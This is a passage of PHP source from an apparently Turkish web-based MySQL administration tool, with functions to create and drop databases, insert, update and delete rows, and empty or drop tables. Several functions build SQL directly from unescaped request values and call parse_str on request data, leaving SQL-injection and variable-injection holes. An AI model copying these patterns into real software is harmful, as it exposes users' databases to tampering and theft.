  2459. $this->vty->baslik($this->vty->dug->dil['DbEkle'])."<br><br>\n".$this->vty->dug->dil['VtAdi']." :\n<br>".
  2460. '<input name="yeniDbAdi" type="text" id="yeniDbAdi" size="15"><br><br>'."\n".
  2461. '<input name="yeniDbEkle" this.focus(); type="submit" id="yeniDbEkle" value=" '.$this->vty->dug->dil['Olustur'].' "> | '.
  2462. "\n<a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Iptal']."</a>\n";
  2463. $this->vty->tabloSonu();
  2464. }
  2465.  
  2466. /**
  2467. * YeniDatabaseEkliyorum
  2468. *
  2469. * Yeni Database ekleme isleminin yapilip bitirildigi yer.
  2470. *
  2471. */
  2472. function YeniDatabaseEkliyorum(){
  2473. $this->vty->ust();
  2474. $this->vty->tabloBas('','','20','');
  2475. $yeniDbAdi = $this->vty->gkp('yeniDbAdi');
  2476. $sql = "CREATE DATABASE `$yeniDbAdi` ";
  2477. $this->linkler = "sdb=".$yeniDbAdi;
  2478. $this->vty->SonucGoster($sql,ereg_replace('@NewDbName@',$yeniDbAdi,$this->vty->dug->uy['YeniDbOldu']),ereg_replace('@NewDbName@',$yeniDbAdi,$this->vty->dug->uy['YeniDbHata']));
  2479. $this->vty->tabloSonu();
  2480. }
  2481.  
  2482. /**
  2483. * Se�ilen database'in silinmesinin yapilip bitirildigi yer.
  2484. *
  2485. *
  2486. */
  2487. function DatabaseSil(){
  2488. $sor = ($this->vty->gp('sor')!=''?$this->vty->gp('sor'):'k');
  2489. $this->vty->ust();
  2490. $this->vty->tabloBasi3();
  2491. if($sor == "e"){
  2492. echo ereg_replace('@DbName@',$this->vty->dbname,$this->vty->dug->uy['DbSilEminmi']).'<br/>'."\n".
  2493. '<a href="'.$this->vty->urlyap($this->vty->linkler."ne=dbSil&sor=dum").'">'.$this->vty->dug->dil['Evet'].'</a> '.$this->vty->ara().' '.
  2494. '<a href="'.$this->vty->urlyap($this->vty->linkler).'">'.$this->vty->dug->dil['Hayir'].'</a>'."\n";
  2495. } elseif ($sor == "dum"){
  2496. $sql = "DROP DATABASE `".$this->vty->dbname."` ";
  2497. $this->vty->SonucGoster($sql,$this->vty->dug->uy['DbSilOldu'],$this->vty->dug->uy['DbSilHata']);
  2498. }
  2499. $this->vty->tabloSonu();
  2500. }
  2501.  
  2502.  
  2503. /**
  2504. * satirgir()
  2505. *
  2506. * Yeni Satirin Girilmesi i�in form sayfasi
  2507. *
  2508. */
  2509. function satirgir(){
  2510. $this->vty->ust();
  2511. $sec = $this->vty->db->vty_select_db($this->vty->dbname);
  2512. $query = $this->vty->db->vty_query("select * from `".$this->vty->tablename."` ");
  2513. $this->vty->tabloBasi3();
  2514. echo $this->vty->baslik($this->vty->dug->dil['SatirEkle']);
  2515. echo "<br>".$this->vty->dbname.' . '.$this->vty->tablename;
  2516. $this->vty->tabloSonu();
  2517.  
  2518. $list = $this->vty->db->vty_list_fields($this->vty->dbname, $this->vty->tablename);
  2519. $numfields = $this->vty->db->vty_num_fields($list);
  2520.  
  2521. echo '<table cellpadding="0" cellspacing="0" >';
  2522. echo '<form action="'.$this->vty->urlyap("ne=satirgir_yap&".$this->vty->linkler).'" method="post" name="satirgirform">';
  2523. echo "\t\t".'<tr>'."\n";
  2524. echo "\t\t".'<td>'."\n";
  2525. echo '<table cellpadding="5" cellspacing="1" >';
  2526. echo "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['ust_bgcolor'].'" border="'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'"'.'cellpadding="'.$this->vty->dug->gor['cellpadding'].'" height="30" >'."\n";
  2527. for($r=0;$r<$numfields;$r++){
  2528. $field_name = $this->vty->db->vty_field_name($list,$r);
  2529. $field_name = ucwords(trim($field_name));
  2530. echo '<td align="left" ><b> &nbsp;'.$field_name."</b>&nbsp;</td>\n";
  2531. }
  2532. echo '</tr>'."\n";
  2533. echo "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['alt_bgcolor'].'" height="30" cellpadding="3" >'."\n";
  2534. for($r=0;$r<$numfields;$r++){
  2535. $meta = $this->vty->db->vty_fetch_field($query,$r);
  2536. $type = $meta->type;
  2537. if($type == "blob")
  2538. $textyeri = '<textarea name="duzeltyazi[]" cols="40" rows="10"></textarea>';
  2539. elseif($type=="string")
  2540. $textyeri = '<textarea name="duzeltyazi[]" cols="20" rows="5"></textarea>';
  2541. elseif($type == "int")
  2542. $textyeri = '<input type="text" name="duzeltyazi[]" value="" size="'.$input_size.'">';
  2543. echo '<td valign="top">'.$textyeri.'</td>'."\n";
  2544. }
  2545. echo " </tr> </table> \n".
  2546.  
  2547. '<table cellpadding="5" cellspacing="1" height="50" width="'.$this->vty->dug->gor['table_width'].'" >'.'<tr>'.
  2548. '<td bgcolor="'.$this->vty->dug->gor['koyu_bgcolor'].'" colspan="'.$f.'" valign="middle" align ="left" >'."\n".
  2549. '&nbsp;<input name="duzeltonay" type="submit" value=" '.$this->vty->dug->dil['Kaydet'].' " > | '."\n".
  2550. "<input name=\"reset\" type=\"reset\" value=\"".$this->vty->dug->dil['Reset']."\" > | <a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Iptal']."</a>\n".
  2551. '<input type="hidden" name="sdquery_order" value="'.$this->sdquery_order.'">'.
  2552. '<input name="sdb" type="hidden" value="'.$this->vty->dbname.'">'.
  2553. '<input name="stb" type="hidden" value="'.$this->vty->tablename.'">'.
  2554. "</td>\n</tr>\n \n </table>\n".
  2555.  
  2556. " </td> </tr> </form> </table> \n";
  2557.  
  2558. }//end of func: satir_gir
  2559.  
  2560. /**
  2561. * satirgir_yap
  2562. *
  2563. *
  2564. *
  2565. */
  2566. function satirgir_yap(){
  2567. $this->vty->ust();
  2568. $this->vty->tabloBasi3();
  2569. $field_name = '';
  2570. $where = '';
  2571. $duzeltyazi = $this->vty->gp('duzeltyazi','p');
  2572. array($duzeltyazi);
  2573. $list = $this->vty->db->vty_list_fields($this->vty->dbname, $this->vty->tablename);
  2574. $numfields = $this->vty->db->vty_num_fields($list);
  2575. for($r=0;$r<$numfields;$r++){
  2576. $field_name_ic = $this->vty->db->vty_field_name($list,$r);
  2577. $field_name = '`'.$field_name_ic."` = '".$duzeltyazi[$r]."', ".$field_name."";
  2578. }
  2579. $field_name = substr($field_name,0,-2);
  2580. $sql = 'INSERT INTO`'.$this->vty->tablename.'` SET '.$field_name;
  2581. $this->vty->SonucGoster($sql,$this->vty->dug->uy['YeniSatirOldu'],$this->vty->dug->uy['YeniSatirHata']);
  2582. $this->vty->tabloSonu();
  2583. }
  2584.  
  2585.  
  2586. /**
  2587. * tablo_bosalt
  2588. *
  2589. *
  2590. *
  2591. */
  2592. function tablo_bosalt(){
  2593. $this->vty->ust();
  2594. $this->vty->tabloBasi3();
  2595. $sor = $this->vty->gkp('sor');
  2596. $tablename = strtoupper($this->vty->tablename);
  2597. $dbname = strtoupper($this->vty->dbname);
  2598. if($sor=="yap"){
  2599. $sql = "DELETE FROM `".$this->vty->dbname."`.`".$this->vty->tablename."`";
  2600. $this->vty->SonucGoster($sql,ereg_replace('@DbTable@','<b>'.$dbname." . ".$tablename.'</b>',$this->vty->dug->uy['BosaltOldu']),$this->vty->dug->uy['BosaltHata']);
  2601. }else{
  2602. echo ereg_replace('@DbTable@','<b>'.$dbname." . ".$tablename.'</b>',$this->vty->dug->uy['BosaltEmin']);
  2603. echo "<div style='margin:5;'></div>";
  2604. echo "<a href=\"".$this->vty->urlyap("ne=tablo_bosalt&sor=yap&".$this->vty->linkler)."\">".$this->vty->dug->dil['Evet']."</a> | ".
  2605. "<a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Hayir']."</a>";
  2606. }
  2607. $this->vty->tabloSonu();
  2608. }
  2609.  
  2610.  
  2611. /**
  2612. * tablo_kaldir
  2613. *
  2614. *
  2615. *
  2616. */
  2617. function tablo_kaldir(){
  2618. $this->vty->ust();
  2619. $this->vty->tabloBasi3();
  2620. $sor = $this->vty->gkp('sor');
  2621. $tablename = strtoupper($this->vty->tablename);
  2622. $dbname = strtoupper($this->vty->dbname);
  2623. if($sor=="yap"){
  2624. $sql = "DROP TABLE `".$this->vty->dbname."`.`".$this->vty->tablename."`";
  2625. $this->vty->tablename = '';
  2626. $this->vty->SonucGoster($sql,ereg_replace('@DbTable@','<b>`'.$dbname." . ".$tablename.'`</b>',$this->vty->dug->uy['KaldirOldu']),$this->vty->dug->uy['KaldirHata']);
  2627. }else{
  2628. echo ereg_replace('@DbTable@','<b>`'.$dbname." . ".$tablename.'`</b>',$this->vty->dug->uy['KaldirEmin']);
  2629. echo "<div style='margin:5;'></div>";
  2630. echo "<a href=\"".$this->vty->urlyap("ne=tablo_kaldir&sor=yap&".$this->vty->linkler)."\">".$this->vty->dug->dil['Evet']."</a> | ".
  2631. "<a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Hayir']."</a>";
  2632. }
  2633. $this->vty->tabloSonu();
  2634. }
  2635.  
  2636.  
  2637.  
  2638. }
  2639. ?>
  2640. <?php
  2641. class sectim
  2642. {
  2643.  
  2644. var $vty;
  2645.  
  2646. /**
  2647. * Formdan gelenler
  2648. */
  2649.  
  2650. // sdquery_order: formda tasinan mevcut tablonun ORDER BY bilgisi
  2651. var $sdquery_order;
  2652.  
  2653. // sdscheck: formdaki herbir sat�r� ifade eden id niteli�indeki bilgidir, dizidir. formdaki ad� sdscheck[]'dir
  2654. var $sdscheck;
  2655.  
  2656. // sdsduzelt: formdaki g�nder butonu. formdaki adi: sdsduzelt
  2657. var $sdsduzelt;
  2658.  
  2659. // sdssil: formdaki sil butonu. formdaki adi: sdssil
  2660. var $sdssil;
  2661.  
  2662. // DUZELT BOLUMU - sdsduzeltyazi: formdaki degistirilecek yazilari icerir iki boyutlu dizidir. formdaki ad�: sdsduzeltyazi[][] seklinde
  2663. var $sdsduzeltyazi;
  2664.  
  2665. // DUZELT BOLUMU - GidecekPrimary: formdaki parimary yoksa olacak durum i�in databasedeki bilgileri tasir. GidecekPrimary[] url encode seklindedir.
  2666. var $GidecekPrimary;
  2667.  
  2668. // TEK DUZELT BOLUMU - sdsduzeltyazi: formdaki degistirilecek yazilari icerir iki boyutlu dizidir. formdaki ad�: sdsduzeltyazi[][] seklinde
  2669. var $duzeltyazi;
  2670.  
  2671.  
  2672.  
  2673. /**
  2674. * sectim()
  2675. *
  2676. * Constructor
  2677. */
  2678. function sectim($vty)
  2679. {
  2680. $this->vty = $vty;
  2681.  
  2682. $this->query_order = $vty->gp('query_order');
  2683. $this->sdquery_order = ($vty->gp('sdquery_order')!=''?$vty->gp('sdquery_order') : $this->query_order );
  2684. $this->sdscheck = $vty->gp('sdscheck');
  2685. $this->sdsduzelt = $vty->gp('sdsduzelt');
  2686. $this->sdssil = $vty->gp('sdssil');
  2687.  
  2688. $this->sdsduzeltyazi = $vty->gp('sdsduzeltyazi');
  2689. $this->primary = $vty->gp('primary');
  2690. $this->GidecekPrimary = $vty->gp('GidecekPrimary');
  2691. $this->duzeltyazi = $vty->gp('duzeltyazi');
  2692.  
  2693. $this->vty->select_db();
  2694. $this->vty->numrows();
  2695. $this->vty->query_limit();
  2696.  
  2697. if(isset($this->sdscheck) and $this->sdscheck[0]=='budonguburadabitmez')
  2698. $this->sdscheck = array_slice($this->sdscheck,1);
  2699. }
  2700.  
  2701. /**
  2702. * _duzelt()
  2703. *
  2704. * Duzelt durumu
  2705. * se�tim sen d�zelt
  2706. *
  2707. */
  2708. function _duzelt()
  2709. {
  2710. $this->vty->tablo2($this->vty->baslik($this->vty->dug->dil['SatirDzlt'])."<br>".$this->vty->dbname." . ".$this->vty->tablename.'<br />');
  2711. //$this->__duzelt_baglantilar(&$list,&$numfields,&$GidecekPrimaryVar,&$GidecekPrimary);
  2712. $GidecekPrimary = '';
  2713. $GidecekPrimaryVar = '';
  2714. $list = $this->vty->db->vty_list_fields($this->vty->dbname,$this->vty->tablename);
  2715. $numfields = $this->vty->db->vty_num_fields($list);
  2716.  
  2717. //$this->__duzelt_tablo_basi($list,$numfields,&$GidecekPrimaryVar);
  2718. echo "\t"."<table cellpadding='0' cellspacing='0' >".
  2719. "\t\t"."<form name=\"duzeltiyorumform\" method=\"post\" action=\"".$this->vty->urlyap("ne=sectim&nebu=duzeltiyorum&".$this->vty->linkler)."\">".
  2720. "\t\t\t"."<tr>"."\n".
  2721. "\t\t\t\t"."<td>"."\n";
  2722.  
  2723. //$this->__duzelt_tabloadlari($list,$numfields,&$GidecekPrimaryVar);
  2724. //function __duzelt_tabloadlari($list,$numfields,&$GidecekPrimaryVar){
  2725. $GidecekPrimary = '';
  2726. $GidecekPrimaryVar = '';
  2727. $buff = "\t".'<table cellpadding="5" cellspacing="1" width="'.$this->vty->dug->gor['table_width'].'" nowrap >'.
  2728. "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['ust_bgcolor'].'" border="'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'"'.'cellpadding="'.$this->vty->dug->gor['cellpadding'].'" align="center" height="30" >'."\n";
  2729. for($f=0;$f<$numfields;$f++){
  2730. $fetch_field = $this->vty->db->vty_fetch_field($list,$f);
  2731. $fieldname = $fetch_field->name;
  2732. if($fetch_field->primary_key == "1") $GidecekPrimaryVar = $GidecekPrimaryVar."&primary[$fieldname]=var";
  2733. $fieldflag = $this->vty->db->vty_field_flags($list,$f);
  2734. $fieldtype = $this->vty->db->vty_field_type($list,$f);
  2735. $fieldlen = $this->vty->db->vty_field_len($list,$f);
  2736. $buff .= "\t\t\t\t"."<td align='left' >&nbsp; <strong>".$fieldname." :</strong></td>\n";
  2737. //$buff .= "\t\t\t\t"."<td> <strong>".$fieldname." :</strong><br><small> ".$fieldflag." - ".$fieldtype."(".$fieldlen.")</small></td>\n";
  2738. }
  2739. $buff .= "\t\t\t\t"."</tr>"."\n";
  2740. echo $buff;
  2741. //}endoffunc:__duzelt_tabloadlari
  2742.  
  2743. $this->__duzelt_textyerleri($list,$numfields,$GidecekPrimaryVar);
  2744.  
  2745. echo "\n </table> \n ";
  2746. echo '<table cellpadding="5" cellspacing="1" height="50" width="'.$this->vty->dug->gor['table_width'].'" >'.'<tr>'.
  2747. '<td bgcolor="'.$this->vty->dug->gor['koyu_bgcolor'].'" colspan="'.$f.'" valign="middle" align ="left" >'."\n".
  2748. '&nbsp;<input name="duzeltonay" type="submit" value=" '.$this->vty->dug->dil['Kaydet'].' " > | '."\n".
  2749. "<input name=\"reset\" type=\"reset\" value=\"".$this->vty->dug->dil['Reset']."\" > | <a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Iptal']."</a>\n".
  2750. '<input type="hidden" name="sdquery_order" value="'.$this->vty->sdquery_order.'">'."</td>\n</tr>\n \n </table>\n";
  2751. echo " </td> </tr> </form> </table> \n";
  2752.  
  2753. }
  2754.  
  2755. function __duzelt_textyerleri($list,$numfields,$GidecekPrimary)
  2756. {
  2757. $query = $this->vty->db->vty_query("SELECT * FROM `".$this->vty->tablename."` ".$this->vty->sdquery_order." ".$this->vty->query_limit);
  2758. $count = count($this->sdscheck);
  2759. // alta
  2760. for($k=0;$k<$count;$k++){
  2761. $i = $this->sdscheck[$k];
  2762. echo "\t\t".'<tr bgcolor="'.$this->vty->ikirenkli($i,$this->vty->dug->gor['ikirenklicolor1'],$this->vty->dug->gor['ikirenklicolor2']).'" valign ="top" >'."\n";
  2763. // yana
  2764. for($f=0;$f<$numfields;$f++){
  2765.  
  2766. echo "\t\t"."<td> "."\n";
  2767.  
  2768. $alanozellik = $this->vty->db->vty_fetch_field($query,$f);
  2769. $alanadi = $alanozellik->name;
  2770. $deger = $this->vty->db->vty_result($query,$i,$alanadi);
  2771.  
  2772. if(!empty($GidecekPrimaryVar)){
  2773. if($alanozellik->primary_key == "1")
  2774. $GidecekPrimary = $GidecekPrimary.'&primary['.$alanadi.']='.base64_encode($deger);
  2775. } else{
  2776. $GidecekPrimary = $GidecekPrimary.'&primary['.$alanadi.']='.base64_encode($deger);
  2777. }
  2778. $alantipi = $alanozellik->type;
  2779. $alanuzunluk = $this->vty->db->vty_field_len($list,$f);
  2780. $deger = htmlspecialchars($deger);
  2781. $textyeri = $this->vty->AlanTipi2($deger,$alantipi,$k);
  2782.  
  2783. echo "\t\t\t".$textyeri."\n".
  2784. "\t\t"."</td>"."\n";
  2785. }
  2786. echo '<input name="GidecekPrimary[]" type="hidden" value="'.$GidecekPrimary.'">'."\n";
  2787. echo "</tr>\n";
  2788. $GidecekPrimary = '';
  2789. }
  2790. }
  2791.  
  2792. /**
  2793. * _hepsiniSil()
  2794. *
  2795. * Hepsini Sil Durumu
  2796. *
  2797. */
  2798. function _hepsiniSil(){
  2799. $this->vty->tabloBasi3();
  2800. $q = 0;
  2801. $list = $this->vty->db->vty_list_fields($this->vty->dbname, $this->vty->tablename);
  2802. $query = $this->vty->db->vty_query("SELECT * FROM `".$this->vty->tablename."` ".$this->vty->query_order." ".$this->vty->query_limit);
  2803. $numfield = $this->vty->db->vty_num_fields($list);
  2804. $count = count($this->sdscheck);
  2805. $PrimaryVar = $this->vty->PrimaryVarMi();
  2806. // alta
  2807. for($k=0;$k<$count;$k++){
  2808. $where = '';
  2809. $i = $this->sdscheck[$k];
  2810. // yana
  2811. for($f=0;$f<$numfield;$f++){
  2812. $alanozellik = $this->vty->db->vty_fetch_field($list,$f);
  2813. $alanadi = $alanozellik->name;
  2814. $result = $this->vty->db->vty_result($query,$i,"$alanadi");
  2815. if($PrimaryVar == 1){
  2816. if($alanozellik->primary_key == 1)
  2817. $where = $where." `".$alanadi."` = '".$result."' and ";
  2818. }else{
  2819. echo $where = $where." `".$alanadi."` = '".$result."' and ";
  2820. }
  2821. }
  2822. $where = substr($where,0,-4);
  2823.  
  2824. $querydel = $this->vty->db->vty_query('DELETE FROM `'.$this->vty->tablename.'` WHERE '.$where.' LIMIT 1');
  2825. if($this->vty->db->vty_error())
  2826. $hata[] = $this->vty->db->vty_errno()." : ".$this->vty->db->vty_error()." -> ".$this->vty->TrMysqlError($this->vty->db->vty_errno()) ;
  2827. if($querydel)
  2828. $q++;
  2829. unset($querydel);
  2830. }//f
  2831.  
  2832. /// Sonu�
  2833. if($q==$k){
  2834. $cevap = ($k==1 ? $this->vty->dug->uy['SatirSilindi'] : ereg_replace('@number@',"$k",$this->vty->dug->uy['SatirNSilindi']));
  2835. echo '<font color="green" >'.$cevap."</font>\n<br/>\n".
  2836. "<div style='margin:5;'></div>".
  2837. '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a>'."\n".
  2838. '<meta http-equiv="refresh" content="1;URL='.$this->vty->urlyap($this->vty->linkler).'"><br/> ';
  2839.  
  2840. } elseif($q>0 and $q < $k){
  2841. $hata = DiziyiAc($hata,"<br>");
  2842. $cevap = ereg_replace('@number@',"$k",$this->vty->dug->uy['SatirSilNHata']);
  2843.  
  2844. echo '<font color="red" size="3" >'.$this->vty->dug->uy['SatirSilNHata']."</font>\n<br/>".
  2845. '<font color="red">'.$this->vty->dug->dil['MysqlHata'].':</font> '.$hata.'<br/>'.
  2846. '<font color="red">'.$this->vty->dug->dil['Sql'].':</font> '.$sql.'<br/><br/>'.
  2847. "<div style='margin:5;'></div>".
  2848. '<a href="javascript:history.back(-1)" > � '.$this->vty->dug->dil['Geri'].'</a> '.$this->vty->ara().' '.
  2849. '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a><br/> '."\n";
  2850. } else{
  2851. $hata = DiziyiAc($hata,"<br>");
  2852. echo '<font color="red" size="3" >'.$this->vty->dug->uy['SatirSilHata']."</font>\n<br/>".
  2853. '<font color="red">'.$this->vty->dug->dil['MysqlHata'].':</font> '.$hata.'<br/>'.
  2854. '<font color="red">'.$this->vty->dug->dil['Sql'].':</font> '.$sql.'<br/><br/>'.
  2855. "<div style='margin:5;'></div>".
  2856. '<a href="javascript:history.back(-1)" > � '.$this->vty->dug->dil['Geri'].'</a> '.$this->vty->ara().' '.
  2857. '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a><br/> '."\n";
  2858. }
  2859.  
  2860. $this->vty->tabloSonu();
  2861. }
  2862.  
  2863. /**
  2864. * _duzeltiyorum()
  2865. *
  2866. * D�zeltiyorum Durumu
  2867. * hepsini d�zeltiyorum
  2868. *
  2869. */
  2870. function _duzeltiyorum(){
  2871. $list = $this->vty->db->vty_list_fields($this->vty->dbname, $this->vty->tablename);
  2872. $numfields = $this->vty->db->vty_num_fields($list);
  2873. //$sdsduzeltyazi = (isset($sdsduzeltyazi) ? $sdsduzeltyazi : '' );
  2874. $duzeltyazi = (isset($duzeltyazi) ? $duzeltyazi : '' );
  2875. //$GidecekPrimary = (isset($GidecekPrimary) ? $GidecekPrimary : '' );
  2876. array($duzeltyazi);
  2877. $this->GidecekPrimary;
  2878. $count = count($this->GidecekPrimary);
  2879. for($k=0,$i=0;$i<$count;$i++){
  2880. $field_name = '';
  2881. $where = '';
  2882. array($this->sdsduzeltyazi[$i]);
  2883. @parse_str($this->GidecekPrimary[$i]);
  2884. foreach($primary as $anahtar => $deger){
  2885. $where = $where." `".$anahtar."` = '".addslashes(base64_decode($deger))."' and";
  2886. }
  2887. $where = substr($where,0,-4);
  2888. for($r=0;$r<$numfields;$r++){
  2889. $field_name = '`'.$this->vty->db->vty_field_name($list,$r)."` = '".$this->sdsduzeltyazi[$i][$r]."' , ".$field_name;
  2890. }
  2891. $field_name = substr($field_name,0,-2);
  2892. $sql = "UPDATE `".$this->vty->tablename."` set ".$field_name." WHERE ".$where;
  2893. $query = $this->vty->db->vty_query("$sql");
  2894. if($this->vty->db->vty_error())
  2895. $hata[] = $this->vty->db->vty_errno()." : ".$this->vty->db->vty_error()." -> ".$this->vty->db->vty_error($this->vty->db->vty_errno()) ;
  2896. if($query)
  2897. $k++;
  2898. unset($primary);
  2899. }
  2900. $this->vty->tabloBasi3();
  2901. // sonu�
  2902. if($k==$i){
  2903. echo "<font color=\"green\">".$this->vty->dug->uy['SatirlarDuzeldi']."</font><br/>".
  2904. "<div style='margin:5;'></div>".
  2905. "<a href=\"".$this->vty->urlyap($this->vty->linkler)."\" >".$this->vty->dug->dil['Tamam']."</a>\n";
  2906. echo '<meta http-equiv="refresh" content="1;URL='.$this->vty->urlyap($this->vty->linkler).'" ><br/>'."\n";
  2907. } elseif($k>0 and $k < $i){
  2908. $hata = $this->vty->DiziyiAc($hata,"<br>");
  2909. $cevap = "Error: $k rows updated but error on ".($i-$k)." rows .<br>"."Mysql Hata �iktisi:<br>\"$hata\"<br>";
  2910. echo "<font color=\"red\">$cevap</font>\n<br>\n".
  2911. "<div style='margin:5;'></div>".
  2912. "<a href=\"javascript:history.back(-1)\">&lt;&lt; ".$this->vty->dug->dil['Geri']."</a> | <a href=\"".$this->vty->urlyap($this->vty->linkler)."\" >".$this->vty->dug->dil['Tamam']."</a>\n";
  2913. } else{
  2914. $hata = $this->vty->DiziyiAc($hata,"<br>");
  2915. $cevap = $this->vty->dug->uy['SatirlarDuzeltHata']."<br>"."Mysql Hata �iktisi:<br>\"$hata\"<br>";
  2916. echo "<font color=\"red\">$cevap</font>\n<br>\n".
  2917. "<div style='margin:5;'></div>".
  2918. "<a href=\"javascript:history.back(-1)\">&lt;&lt; ".$this->vty->dug->dil['Geri']."</a> | <a href=\"".$this->vty->urlyap($this->vty->linkler)."\" >".$this->vty->dug->dil['Tamam']."</a>\n";
  2919. }
  2920. $this->vty->tabloSonu();
  2921.  
  2922.  
  2923.  
  2924.  
  2925. }
  2926.  
  2927. /**
  2928. * bunlariDuzelt()
  2929. */
  2930. function _bunlariDuzelt(){
  2931. $this->vty->tabloBasi3();
  2932. $where = '';
  2933. $field_name = '';
  2934. @parse_str($this->GidecekPrimary);
  2935. foreach($primary as $anahtar => $deger){
  2936. $where .= " `".$anahtar."`='".$deger."' and";
  2937. }
  2938. $where = substr($where,0,-4);
  2939.  
  2940. $list = $this->vty->db->vty_list_fields($this->vty->dbname, $this->vty->tablename);
  2941. $numfields = $this->vty->db->vty_num_fields($list);
  2942. for($r=0;$r<$numfields;$r++){
  2943. $field_name = $this->vty->db->vty_field_name($list,$r)."= '".$this->duzeltyazi[$r]."' , ".$field_name."";
  2944. }
  2945. $field_name = substr($field_name,0,-2);
  2946. $sql = "UPDATE `".$this->vty->tablename."` SET ".$field_name." WHERE ".$where." LIMIT 1";
  2947. if($this->vty->db->vty_query($sql)){
  2948. echo '<font color="green" >'.$this->vty->dug->uy['SatirDuzeldi'].'</font>'."\n".'<br>'.
  2949. "<div style='margin:5;'></div>".
  2950. '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a>'."\n";
  2951. echo '<meta http-equiv="refresh" content="1;URL='.$this->vty->urlyap($this->vty->linkler).'" >'."\n";
  2952. }else{
  2953. echo '<font color="red" >'.$this->vty->dug->uy['SatirDuzelHata'].'<br><br>'.$this->vty->db->vty_error().'<br>'.'</font>'."\n".'<br>'."\n".'<a href="javascript:history.back(-1);">&lt;&lt; '.$this->vty->dug->dil['Geri'].'</a> | <a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a>'."\n";
  2954. }
  2955. $this->vty->tabloSonu();
  2956. }
  2957. }
  2958. ?>
  2959. <?php
  2960.  
  2961. /**
  2962. * Class tablo
  2963. *
  2964. * Veritabanindan cekilen bilgilerin listelendigi asil tabloyu yapan fonksiyonlar.
  2965. *
  2966. */
  2967. class tablo
  2968. {
  2969. var $vty;
  2970. var $GidecekPrimary;
  2971.  
  2972. /**
  2973. * tablo()
  2974. *
  2975. * Constructor
  2976. */
  2977. function tablo($vty)
  2978. {
  2979. $this->vty = $vty;
  2980. }
  2981.  
  2982. /**
  2983. * asil_tablo()
  2984. *
  2985. * Olayin dondugu asil tablodur
  2986. * Tablolarin icindeki bilgilerin gosterildigi asil tablodur
  2987. *
  2988. * @param $duzeltid eger duzelt durumu varsa hangi satir duzeltilecekse onun idsi
  2989. * @access public
  2990. */
  2991. function asil_tablo()
  2992. {
  2993. $duzeltid = $this->vty->gp('duzeltid');
  2994. $this->vty->select_db();
  2995. $this->vty->numrows();
  2996.  
  2997. $this->tablo_ust_linkler();
  2998. $this->vty->SayfaYap();
  2999.  
  3000. $query = $this->vty->db->vty_query("SELECT * FROM ".$this->vty->gecici_tb_adi()." ".$this->vty->query_order." ".$this->vty->query_limit);
  3001. $numrows = $this->vty->db->vty_num_rows($query);
  3002. $numfields = $this->vty->db->vty_num_fields($query);
  3003.  
  3004. $this->asil_tablo_ust();
  3005. $GidecekPrimaryVar = $this->asil_tablo_adlari($query,$numfields);
  3006. $this->asil_tablo_hep_hic($numrows);
  3007. for($i=0;$i<$numrows;$i++){
  3008. $_bgcolor = strtoupper($this->vty->ikirenkli($i,$this->vty->dug->gor['ikirenklicolor1'],$this->vty->dug->gor['ikirenklicolor2']));
  3009. echo "\t\t"."<tr bgcolor=\"".$_bgcolor.'"'.' valign="top" '.
  3010. "onclick=\"if(this.style.background=='#eae8bb') this.style.background='".$_bgcolor."'; else this.style.background='#eae8bb';\" ".
  3011. "onmouseover=\"if(this.style.background!='#eae8bb')this.style.background='#e9f3f8'; \" onmouseout=\"if(this.style.background!='#eae8bb')this.style.background='".$_bgcolor."';\"".
  3012. //window.status=this.style.background;
  3013. //"onclick=\"if(this.style.background=='#EAE8BB') this.style.background='".$_bgcolor."'; else this.style.background='#EAE8BB';\" ".
  3014. //"onmouseover=\"window.status=this.style.background; if(this.style.background!='#EAE8BB')this.style.background='#E9F3F8'; \" onmouseout=\"if(this.style.background!='#EAE8BB')this.style.background='".$_bgcolor."';\"".
  3015. //" ondblClick=\"this.style.background='".$_bgcolor."';\"".
  3016. //"onmouseover=\"window.status=this.style.background; \"".
  3017. '>'."\n"; //#BFDCEA#F5F4DE#EAE8BB#DCEBBA#E8D9BD #E9F3F8#E0EFF5 #EAE8BB
  3018. $this->asil_tablo_ici_duzeltdurumu($duzeltid,$i);
  3019.  
  3020. $fetch = $this->vty->db->vty_fetch_row($query);
  3021. for($r=0;$r<$numfields;$r++){
  3022. if($this->vty->ne == "duzelt" and $duzeltid == $i )
  3023. echo $this->asil_tablo_ici_goruntu_duzelt($fetch[$r],$query,$r,$GidecekPrimaryVar);
  3024. else
  3025. echo $this->asil_tablo_ici_goruntu_normal($fetch[$r],$this->vty->ilk);
  3026. }
  3027.  
  3028. $this->asil_tablo_ici_hepsiniduzelt($duzeltid,$i,$numrows);
  3029. echo "\t\t".'</tr>'."\n";
  3030. }
  3031. $this->asil_tablo_ici_satiryoksa($numrows,$numfields);
  3032. $this->asil_tablo_ici_altkisim($numrows,$numfields,$i);
  3033. $this->asil_tablo_alt($numfields);
  3034.  
  3035. }
  3036.  
  3037. /*
  3038. *
  3039. * Duzelt kismi ust menu
  3040. */
  3041. function tablo_ust_linkler()
  3042. {
  3043. $this->vty->tabloBas('','1','5','','0','#E9EDE9');
  3044. //$this->vty->tabloBas('','0','','0','0','#E9EDE9');
  3045. echo "\t\t\t\t".'&nbsp;<a href="'.$this->vty->urlyap("ne=sqlgoster&".$this->vty->linkler)."\">".$this->vty->dug->dil['Sql'].'</a> '.$this->vty->ara().' '."\n".
  3046. "\t\t\t\t".'<a href="'.$this->vty->urlyap("ne=dumpet&".$this->vty->linkler)."\">".$this->vty->dug->dil['DumpTables'].'</a>'."\n".
  3047. "\t\t\t".'</td>'."\n".
